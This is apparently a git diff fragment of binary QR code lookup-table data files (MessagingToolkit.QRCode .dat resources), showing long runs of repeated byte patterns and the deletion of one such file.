-             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -LLKKJJII UUVVWWXX00//..--33445566KJJIIHHG TUUVVWWXEDDCCBBALMMNNOOPMLLKKJJIDEEFFGGHUTTSSRRQ - - <==>>??@]\\[[ZZY45566778|}}~~eddccbba,--..//0tuuvvwwxcbbaa``_ - - OPPQQRRS~~}}100//..- eeffgghh||{{zzyy44332211]]^^__``<<;;::99 UUVVWWXXDDCCBBAAMMNNOOPPLLKKJJIIEEFFGGHHTTSSRRQQ - - ==>>??@@MMLLKKJJeeffgghhmmllkkjj -..//001uvvwwxxylkkjjiih$##""!! %&&''(()mnnooppqtssrrqqp,++**))( !effgghhi|{{zzyyx43322110]^^__``a<;;::998 UVVWWXXYDCCBBAA@ MNNOOPPQ=7766554#$$%%&&'z{{||}}~]\\[[ZZY - ->>??@@AA[[ZZYYXX66778899~~ccbbaa``..//0011vvwwxxyykkjjiihh##""!! &&''(())nnooppqqssrrqqpp++**))(( !!ffgghhii{{zzyyxx33221100^^__``aaHHGGFFEEYYZZ[[\\,,++**))77==>>??GFFEEDDCXYYZZ[[\A@@??>>= - - PQQRRSSTIHHGGFFEHIIJJKKLQPPOONNM @AABBCCDYXXWWVVU 899::;;>== - - QQRRSSTTHHGGFFEEIIJJKKLLPPOONNMMAABBCCDDIIHHGGFFiijjkklliihhggff12233445yzz{{||}hggffeed )**++,,-qrrssttupoonnmml(''&&%%$!""##$$%ijjkkllmxwwvvuut0//..--,abbccdde~~}}|87766554YZZ[[\\]@??>>==< - - QRRSSTTU43322110'(())**+~YXWVUTSS BBCCDDEEWWVVUUTT ::;;<<==__^^]]\\22334455zz{{||}}ggffeedd**++,,--rrssttuuoonnmmll''&&%%$$""##$$%%jjkkllmmwwvvuutt//..--,,bbccddeeDDCCBBAA]]^^__``~~}}||((''&&%%@@AABBCCCBBAA@@?\]]^^__`=<<;;::9 TUUVVWWXEDDCCBBALMMNNOOPMLLKKJJIDEEFFGGHUTTSSRRQ - - <==>>??@]\\[[ZZY45566778|}}~~[ZZYYSSR \]]^^__`xxwwvvuu)((''&&%%%&&''((mmnnooppttssrrqq,,++**)) eeffgghh||{{zzyy44332211]]^^__``<<;;::99 UUVVWWXXDDCCBBAAMMNNOOPPLLKKJJIIEEFFGGHHEEDDCCBBmmnnoouueeddccbb56677889}~~dccbbaa`-..//001uvvwwxxylkkjjiih$##""!! %&&''(()mnnooppqtssrrqqp,++**))( !effgghhi|{{zzyyx43322110]^^__``a<;;::998 UVVWWXXY0//..--,+,,--../RRQQPPOOFFGGHHIISSRRQQPP - - >>??@@AA[[ZZYYXX66778899~~ccbbaa``..//0011vvwwxxyykkjjiihh##""!! &&''(())nnooppqqssrrqqpp++**))(( !!ffgghhii@@??>>==aabbccdd{{zzyyxx$$##""!!DDEEFFGG?>>==<;:`aabbccd~~}98877665XYYZZ[[\A@@??>>= - - PQQRRSSTIHHGGFFEHIIJJKKLQPPOONNM @AABBCCDYXXWWVVU 899::;;>== - - QQRRSSTTHHGGFFEEIIJJKKLLAA@@??>>!!""vvwwxxyyaa``__^^9::;;<<=`__^^]]\12233445yzz{{||}hggffeed )**++,,-qrrssttupoonnmml(''&&%%$!""##$$%ijjkkllmxwwvvuut0//..--,abbccdde~~}}|87766554YZZ[[\\],++**))(/0011223NNMMLLKKJJKKLLMMOONNMMLLBBCCDDEEWWVVUUTT ::;;<<==__^^]]\\22334455zz{{||}}ggffeedd**++,,--rrssttuuoonnmmll''&&%%$$""##$$%%jjkkllmm<<;;::99 eeffgghhwwvvuuooHHIIJJKK98776655 deeffggh}||{{zzy54433221\]]^^__`=<<;;::9 TUUVVWWXEDDCCBBALMMNNOOPMLLKKJJIDEEFFGGHUTTSSRRQ - - <==>>??@NMMLLKKJ deeffgghnmmllkkj! --..//00uuvvwwxxllkkjjii$$##""!!%%&&''((mmnnooppttssrrqq,,++**)) eeffgghh||{{zzyy44332211]]^^__``<<;;::99 UUVVWWXXDDCCBBAAMMNNOOPP==776655##$$%%&&zz{{||}}]]\\[[ZZ -=>>??@@A\[[ZZYYX56677889}~~dccbbaa`-..//001uvvwwxxylkkjjiih$##""!! %&&''(()mnnooppqtssrrqqp,++**))( !effgghhi|{{zzyyx43322110]^^__``a~~}}||{(''&&%%$34455667JJIIHHGG NNOOPPQQKKJJIIHHFFGGHHIISSRRQQPP - - >>??@@AA[[ZZYYXX66778899~~ccbbaa``..//0011vvwwxxyykkjjiihh##""!! &&''(())nnooppqq~~}}88776655!!""##$$iijjkkllnnmmllkkLLMMNNOO44332211 !!""##$hiijjkklyxxwwvvu100//..-`aabbccd~~}98877665XYYZZ[[\A@@??>>= - - PQQRRSSTIHHGGFFEHIIJJKKLQPPOONNM @AABBCCDJIIHHGGFhiijjkkljiihhggf11223344yyzz{{||hhggffee ))**++,,qqrrssttppoonnmm((''&&%%!!""##$$iijjkkllxxwwvvuu00//..--aabbccdd~~}}88776655YYZZ[[\\@@??>>== - - QQRRSSTT44332211''(())**~~YYXWVUTS - ABBCCDDEXWWVVUUT 9::;;<<=`__^^]]\12233445yzz{{||}hggffeed )**++,,-qrrssttupoonnmml(''&&%%$!""##$$%ijjkkllmxwwvvuut0//..--,abbccdde{zzyyxxw$##""!!7==>>??@FFEEDDCC - - RRSSTTUUGGFFEEDDJJKKLLMMOONNMMLLBBCCDDEEWWVVUUTT ::;;<<==__^^]]\\22334455zz{{||}}ggffeedd**++,,--rrssttuu||{{zzyy44332211%%&&''((mmnnooppjjiihhggPPQQRRSS~~}}|00//..--$%%&&''(lmmnnooputtssrrq-,,++**) deeffggh}||{{zzy54433221\]]^^__`=<<;;::9 TUUVVWWXEDDCCBBALMMNNOOPMLLKKJJIDEEFFGGHFEEDDCCBlmmnnooufeeddccb55667788}}~~ddccbbaa--..//00uuvvwwxxllkkjjii$$##""!!%%&&''((mmnnooppttssrrqq,,++**)) eeffgghh||{{zzyy44332211]]^^__``<<;;::99 UUVVWWXX00//..--++,,--..SRRQQPPOEFFGGHHITSSRRQQP - - =>>??@@A\[[ZZYYX56677889}~~dccbbaa`-..//001uvvwwxxylkkjjiih$##""!! %&&''(()mnnooppqtssrrqqp,++**))( !effgghhiwvvuuoon@AABBCCDBBAA@@??VVWWXXYYCCBBAA@@ NNOOPPQQKKJJIIHHFFGGHHIISSRRQQPP - - >>??@@AA[[ZZYYXX66778899~~ccbbaa``..//0011vvwwxxyyxxwwvvuu00//..--))**++,,qqrrssttffeeddcc YYZZ[[\\|{{zzyyx,,++**))())**++,pqqrrsstqppoonnm)((''&&% !!""##$hiijjkklyxxwwvvu100//..-`aabbccd~~}98877665XYYZZ[[\A@@??>>= - - PQQRRSSTIHHGGFFEHIIJJKKLBAA@@??>!!"uvvwwxxybaa``__^99::;;<<``__^^]]11223344yyzz{{||hhggffee ))**++,,qqrrssttppoonnmm((''&&%%!!""##$$iijjkkllxxwwvvuu00//..--aabbccdd~~}}88776655YYZZ[[\\,,++**))//001122ONNMMLLKIJJKKLLMPOONNMMLABBCCDDEXWWVVUUT 9::;;<<=`__^^]]\12233445yzz{{||}hggffeed )**++,,-qrrssttupoonnmml(''&&%%$!""##$$%ijjkkllmnmmllkkjDEEFFGGH>>==<;:9ZZ[[\\]]??>>==<< - - RRSSTTUUGGFFEEDDJJKKLLMMOONNMMLLBBCCDDEEWWVVUUTT ::;;<<==__^^]]\\22334455zz{{||}}ttssrrqq,,++**))--..//00uuvvwwxxbbaa``__ - - ]]^^__``xwwvvuut((''&&%%,--..//0tuuvvwwxmllkkjji%$$##""!$%%&&''(lmmnnooputtssrrq-,,++**) deeffggh}||{{zzy54433221\]]^^__`=<<;;::9 TUUVVWWXEDDCCBBALMMNNOOP>==77665"##$$%%&yzz{{||}^]]\\[[Z ==>>??@@\\[[ZZYY55667788}}~~ddccbbaa--..//00uuvvwwxxllkkjjii$$##""!!%%&&''((mmnnooppttssrrqq,,++**)) eeffgghh||{{zzyy44332211]]^^__``~~}}||((''&&%%33445566KJJIIHHG MNNOOPPQLKKJJIIHEFFGGHHITSSRRQQP - - =>>??@@A\[[ZZYYX56677889}~~dccbbaa`-..//001uvvwwxxylkkjjiih$##""!! %&&''(()mnnooppqjiihhggfHIIJJKKL87766554^^__``aa;;::9988VVWWXXYYCCBBAA@@ NNOOPPQQKKJJIIHHFFGGHHIISSRRQQPP - - >>??@@AA[[ZZYYXX66778899~~ppoonnmm((''&&%%11223344yyzz{{||^^]]\\[[ - - aabbccddsrqpoonn$$##""!!01122334xyyzz{{|ihhggffe! ())**++,pqqrrsstqppoonnm)((''&&% !!""##$hiijjkklyxxwwvvu100//..-`aabbccd~~}98877665XYYZZ[[\A@@??>>= - - PQQRRSST54433221&''(())*}~~ZYYXWVUT - - AABBCCDDXXWWVVUU 99::;;<<``__^^]]11223344yyzz{{||hhggffee ))**++,,qqrrssttppoonnmm((''&&%%!!""##$$iijjkkllxxwwvvuu00//..--aabbccdd{{zzyyxx$$##""!!77==>>??GFFEEDDC - - QRRSSTTUHGGFFEEDIJJKKLLMPOONNMMLABBCCDDEXWWVVUUT 9::;;<<=`__^^]]\12233445yzz{{||}hggffeed )**++,,-qrrssttufeeddccb LMMNNOOP43322110bbccddee~~}}||77665544ZZ[[\\]]??>>==<< - - RRSSTTUUGGFFEEDDJJKKLLMMOONNMMLLBBCCDDEEWWVVUUTT ::;;<<==llkkjjii$$##""!!55667788}}~~ZZYYSSRReeffgghhmmllkkjj 45566778|}}~~eddccbba,--..//0tuuvvwwxmllkkjji%$$##""!$%%&&''(lmmnnooputtssrrq-,,++**) deeffggh}||{{zzy54433221\]]^^__`=<<;;::9 TUUVVWWX100//..-*++,,--.SSRRQQPPEEFFGGHHTTSSRRQQ - - ==>>??@@\\[[ZZYY55667788}}~~ddccbbaa--..//00uuvvwwxxllkkjjii$$##""!!%%&&''((mmnnooppttssrrqq,,++**)) eeffgghhwwvvuuoo@@AABBCCCBBAA@@? UVVWWXXYDCCBBAA@ MNNOOPPQLKKJJIIHEFFGGHHITSSRRQQP - - =>>??@@A\[[ZZYYX56677889}~~dccbbaa`-..//001uvvwwxxybaa``__^ - - PQQRRSSY~~}}||0//..--, !!ffgghhii{{zzyyxx33221100^^__``aa;;::9988VVWWXXYYCCBBAA@@ NNOOPPQQKKJJIIHHFFGGHHIISSRRQQPP - - >>??@@AAhhggffee 99::;;<>==<;:YZZ[[\\]@??>>==< - - QRRSSTTUHGGFFEEDIJJKKLLMPOONNMMLABBCCDDEXWWVVUUT 9::;;<<=`__^^]]\12233445yzz{{||}^]]\\[[ZYZZ[[\\]{{zzyyxx,++**))(""##$$%%jjkkllmmwwvvuutt//..--,,bbccddee~~}}||77665544ZZ[[\\]]??>>==<< - - RRSSTTUUGGFFEEDDJJKKLLMMOONNMMLLBBCCDDEEddccbbaa==>>??@@MMLLKKJJmmnnoouueeddccbb<==>>??@]\\[[ZZY45566778|}}~~eddccbba,--..//0tuuvvwwxmllkkjji%$$##""!$%%&&''(lmmnnooputtssrrq-,,++**) deeffggh}||{{zzy54433221\]]^^__`~~}}|)((''&&%23344556KKJJIIHHMMNNOOPPLLKKJJIIEEFFGGHHTTSSRRQQ - - ==>>??@@\\[[ZZYY55667788}}~~ddccbbaa--..//00uuvvwwxxllkkjjii$$##""!!%%&&''((mmnnooppjjiihhggHHIIJJKK98776655]^^__``a<;;::998 UVVWWXXYDCCBBAA@ MNNOOPPQLKKJJIIHEFFGGHHITSSRRQQP - - =>>??@@A\[[ZZYYX56677889}~~ZYYSSRRQ -]^^__``awwvvuuts(''&&%%$&&''(())nnooppqqssrrqqpp++**))(( !!ffgghhii{{zzyyxx33221100^^__``aa;;::9988VVWWXXYYCCBBAA@@ NNOOPPQQKKJJIIHHFFGGHHII``__^^]]AABBCCDDIIHHGGFF!!""vvwwxxyyaa``__^^@AABBCCDYXXWWVVU 899::;;>?GGFFEEDD - - QQRRSSTTHHGGFFEEIIJJKKLLPPOONNMMAABBCCDDXXWWVVUU 99::;;<<``__^^]]11223344yyzz{{||hhggffee ))**++,,qqrrssttffeeddcc LLMMNNOO44332211abbccdde~~}}|87766554YZZ[[\\]@??>>==< - - QRRSSTTUHGGFFEEDIJJKKLLMPOONNMMLABBCCDDEXWWVVUUT 9::;;<<=QPPOONNM - abbccdderqpoonnm$##""!! **++,,--rrssttuuoonnmmll''&&%%$$""##$$%%jjkkllmmwwvvuutt//..--,,bbccddee~~}}||77665544ZZ[[\\]]??>>==<< - - RRSSTTUUGGFFEEDDJJKKLLMM\\[[ZZYYEEFFGGHHEEDDCCBB##$$%%&&zz{{||}}]]\\[[ZZ -DEEFFGGHUTTSSRRQ - - <==>>??@]\\[[ZZY45566778|}}~~eddccbba,--..//0tuuvvwwxmllkkjji%$$##""!$%%&&''(lmmnnooputtssrrq-,,++**) deeffgghxwwvvuuo!?@@AABBCCCBBAA@@ UUVVWWXXDDCCBBAAMMNNOOPPLLKKJJIIEEFFGGHHTTSSRRQQ - - ==>>??@@\\[[ZZYY55667788}}~~ddccbbaa--..//00uuvvwwxxbbaa``__ - - PPQQRRSS~~}}|00//..-- !effgghhi|{{zzyyx43322110]^^__``a<;;::998 UVVWWXXYDCCBBAA@ MNNOOPPQLKKJJIIHEFFGGHHITSSRRQQP - - =>>??@@AMLLKKJJIeffgghhimllkkjji..//0011vvwwxxyykkjjiihh##""!! &&''(())nnooppqqssrrqqpp++**))(( !!ffgghhii{{zzyyxx33221100^^__``aa;;::9988VVWWXXYYCCBBAA@@ NNOOPPQQXXWWVVUU IIJJKKLLAA@@??>>''(())**~~YYXWVUTS - HIIJJKKLQPPOONNM @AABBCCDYXXWWVVU 899::;;>==<;YYZZ[[\\@@??>>== - - QQRRSSTTHHGGFFEEIIJJKKLLPPOONNMMAABBCCDDXXWWVVUU 99::;;<<``__^^]]11223344yyzz{{||^^]]\\[[YYZZ[[\\|{{zzyyx,,++**))!""##$$%ijjkkllmxwwvvuut0//..--,abbccdde~~}}|87766554YZZ[[\\]@??>>==< - - QRRSSTTUHGGFFEEDIJJKKLLMPOONNMMLABBCCDDEIHHGGFFEijjkkllmihhggffe22334455zz{{||}}ggffeedd**++,,--rrssttuuoonnmmll''&&%%$$""##$$%%jjkkllmmwwvvuutt//..--,,bbccddee~~}}||77665544ZZ[[\\]]??>>==<< - - RRSSTTUUTTSSRRQQ - - MMNNOOPP==776655++,,--..SRRQQPPOLMMNNOOPMLLKKJJIDEEFFGGHUTTSSRRQ - - <==>>??@]\\[[ZZY45566778|}}~~eddccbba,--..//0tuuvvwwxmllkkjji%$$##""!$%%&&''(lmmnnoopkjjiihhgGHHIIJJK:9877665]]^^__``<<;;::99 UUVVWWXXDDCCBBAAMMNNOOPPLLKKJJIIEEFFGGHHTTSSRRQQ - - ==>>??@@\\[[ZZYY55667788}}~~ZZYYSSRR ]]^^__``xwwvvuut((''&&%%%&&''(()mnnooppqtssrrqqp,++**))( !effgghhi|{{zzyyx43322110]^^__``a<;;::998 UVVWWXXYDCCBBAA@ MNNOOPPQLKKJJIIHEFFGGHHIEDDCCBBAmnnoouuveddccbba66778899~~ccbbaa``..//0011vvwwxxyykkjjiihh##""!! &&''(())nnooppqqssrrqqpp++**))(( !!ffgghhii{{zzyyxx33221100^^__``aa;;::9988VVWWXXYYPPOONNMM - - QQRRSSTT44332211//001122ONNMMLLK - - PQQRRSSTIHHGGFFEHIIJJKKLQPPOONNM @AABBCCDYXXWWVVU 899::;;>== - - QQRRSSTTHHGGFFEEIIJJKKLLPPOONNMMAABBCCDDXXWWVVUU 99::;;<>==< - - QRRSSTTUHGGFFEEDIJJKKLLMA@@??>>=!!""#vwwxxyyza``__^^]::;;<<==__^^]]\\22334455zz{{||}}ggffeedd**++,,--rrssttuuoonnmmll''&&%%$$""##$$%%jjkkllmmwwvvuutt//..--,,bbccddee~~}}||77665544ZZ[[\\]]~~}}||{{zzyyxxww##""!!==>>??@@FEEDDCCB - RSSTTUUVGFFEEDDCJKKLLMMNONNMMLLKBCCDDEEFWVVUUTTS :;;<<==>_^^]]\\[23344556z{{||}}~ZYYSSRRQeffgghhia``__^^]@AABBCCDvvuuoonnAABBCCDDBAA@@??>VWWXXYYZCBBAA@@? -NOOPPQQRKJJIIHHGFGGHHIIJSRRQQPPO - - >??@@AAB[ZZYYXXW6778899:~QPPOONNMijjkkllm]\\[[ZZYDEEFFGGHmmllkkjjEEFFGGHH>==<;:98Z[[\\]]^?>>==<<; - RSSTTUUVGFFEEDDCJKKLLMMNONNMMLLKBCCDDEEFWVVUUTTS :;;<<==>MLLKKJJImnnoouuvYXXWWVVU HIIJJKKLiihhggffIIJJKKLL77665544^__``aab;::99887VWWXXYYZCBBAA@@? -NOOPPQQRKJJIIHHGFGGHHIIJSRRQQPPO - - >??@@AABIHHGGFFE!!""#vwwxxyyzUTTSSRRQ - - LMMNNOOPeeddccbb MMNNOOPP33221100bccddeef~~}}||{76655443Z[[\\]]^?>>==<<; - RSSTTUUVGFFEEDDCJKKLLMMNONNMMLLKBCCDDEEFEDDCCBBA#$$%%&&'z{{||}}~QPPOONNM - - PQQRRSSTaa``__^^ - - QQRRSSYY~~}}||{//..--,, !!"fgghhiij{zzyyxxw3221100/^__``aab;::99887VWWXXYYZCBBAA@@? -NOOPPQQRKJJIIHHGFGGHHIIJA@@??>>='(())**+~MLLKKJJI TUUVVWWX]]\\[[ZZZZ[[\\]]{zzyyxxw++**))(("##$$%%&jkkllmmnwvvuutts/..--,,+bccddeef~~}}||{76655443Z[[\\]]^?>>==<<; - RSSTTUUVGFFEEDDCJKKLLMMN=7766554+,,--../IHHGGFFEXYYZZ[[\YYSSRRQQ - -^^__``aawvvuutsr''&&%%$$&''(())*nooppqqrsrrqqppo+**))((' !!"fgghhiij{zzyyxxw3221100/^__``aab;::99887VWWXXYYZCBBAA@@? -NOOPPQQR43322110/0011223EDDCCBBA\]]^^__`PPOONNMM bbccddeeqpoonnmm##""!! *++,,--.rssttuuvonnmmllk'&&%%$$#"##$$%%&jkkllmmnwvvuutts/..--,,+bccddeef~~}}||{76655443Z[[\\]]^?>>==<<; - RSSTTUUV0//..--,34455667A@@??>>=`aabbccdLLKKJJIIffgghhiillkkjjii.//00112vwwxxyyzkjjiihhg#""!! &''(())*nooppqqrsrrqqppo+**))((' !!"fgghhiij{zzyyxxw3221100/^__``aab;::99887VWWXXYYZ,++**))(7==>>??@=<<;;::9 deeffgghHHGGFFEEjjkkllmmhhggffee23344556z{{||}}~gffeeddc*++,,--.rssttuuvonnmmllk'&&%%$$#"##$$%%&jkkllmmnwvvuutts/..--,,+bccddeef~~}}||{76655443Z[[\\]]^~~}}||{(''&&%%$@AABBCCD~~}98877665 !!""##$hiijjkklDDCCBBAAnnoouuvvddccbbaa6778899:~cbbaa``_.//00112vwwxxyyzkjjiihhg#""!! &''(())*nooppqqrsrrqqppo+**))((' !!"fgghhiij{zzyyxxw3221100/^__``aab{zzyyxxw$##""!!DEEFFGGH}||{{zzy54433221$%%&&''(lmmnnoop@@??>>==!!""##wwxxyyzz``__^^]] :;;<<==>_^^]]\\[23344556z{{||}}~gffeeddc*++,,--.rssttuuvonnmmllk'&&%%$$#"##$$%%&jkkllmmnwvvuutts/..--,,+bccddeefwvvuuoonHIIJJKKLyxxwwvvu100//..-())**++,pqqrrsst77665544$$%%&&''{{||}}~~\\[[ZZYY - - >??@@AAB[ZZYYXXW6778899:~cbbaa``_.//00112vwwxxyyzkjjiihhg#""!! &''(())*nooppqqrsrrqqppo+**))((' !!"fgghhiijnmmllkkjLMMNNOOPuttssrrq-,,++**),--..//0tuuvvwwx33221100(())**++XWVUTSSR BCCDDEEFWVVUUTTS :;;<<==>_^^]]\\[23344556z{{||}}~gffeeddc*++,,--.rssttuuvonnmmllk'&&%%$$#"##$$%%&jkkllmmnjiihhggfPQQRRSSYqppoonnm)((''&&%01122334xyyzz{{|//..--,,,,--..//RQQPPOONFGGHHIIJSRRQQPPO - - >??@@AAB[ZZYYXXW6778899:~cbbaa``_.//00112vwwxxyyzkjjiihhg#""!! &''(())*nooppqqrfeeddccb YZZ[[\\]mllkkjji%$$##""!45566778|}}~~++**))((00112233NMMLLKKJJKKLLMMNONNMMLLKBCCDDEEFWVVUUTTS :;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rJXQrZdQbtZdQbtv`fv`fJ`ےJ`ےrtAJlrtAJl~f`~f`JXQrˉ˂pZHAHr󙐂pfH~pfH~|dr|dr`JXQrJtArdd|ZfvnXffpbHAZpbHAZpˑtbdtbdvXnvXnۉ˂pZH˂pZHlJtAlJtA~Hfp~HfpbHAZpbHAZpˑtbdtbdvXnvXnۂpZHAAbے`ˁ`ZQXAf۝`vf۝`vQtJlQtJl˂pZ|ZdQdQbtv`fvnrXrXQrXQQZ|dQZ|dvpfHvpfHAbے`Abے`rd|rd|vnXvnXrXQrXQQZ|dQZ|dvpfHvpfHbے`JXQrHr󙐂ˁXnvˍXnvˍtbAdZtbAdZHAbےbtllJtAr~HfpQJ`ےJ`ےJ`ےJlrtAJltAJl~f`~f`JXQrJXQrZdQbtZdQbtv`fv`fJ`ےJ`ےrtAJlrtAJl~f`~f`JXQrˉ˂p`Z`ZQXbpfH~pfH~|dr|dr`JXQrJtArddtlvnXHAZpbHAZpˑtbdtbdtbnvXnvXnۉ˂pZH˂pZHlJtAlJtA~Hfp~HfpbHAZpbHAZpˑtbdtbdvXnvXnۂpZHAQXb㉀ۑpJAf۝`vf۝`vQtJlQtJlt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_2.dat deleted file mode 100644 index cc36868..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_2.dat +++ /dev/null @@ -1,297 +0,0 @@ -}~}~}~}~yzyzyzyzwxwxwxwxststststoopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststooooopopnmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxststststopopopopnmnmnmnmjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststopoooooolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststpopopopolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststpopopopolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzwxwxwxwxststststpopopopolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzwvuvuvuvststststpopopopolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzuvuvuvuvststststpopopopolklklklkjijijijifefefefedcdcdcdc}~}~}~}~yzyzyzyzuvuvuvuvststststpopopooolklklklkjijijijifefefefedcdcdcdc}|{|{|{|yzyzyzyzuvuvuvuvststststooopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvststststopopopoplklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvstststsroooooopolklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopopopolklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopopopolklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopopopolklklklkjijijijifefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopopopolklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopooooolklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrpopopopolklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yzyzyzyzuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc{|{|{|{|yxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgfefefefebabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmlklklklkhghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxutstststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxststststqrqrqrqrnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{|{|{|{|wxwxwxwxststststqrqrqpopnmnmnmnmjijijijihghghghgdcdcdcdcbabababa}~}~}~}~{zyzyzyzwxwxwxwxststststopopoooonmnmnmnmjijijijihghghghgdcdcdcdcbabababababababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>;<;<;<;<878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEDABABABAB=>=>=>=>;<;<;<;<878777774343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     babababa^]^]^]^]\[\[\[\[XWXWXWXWSSSSTSTSQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     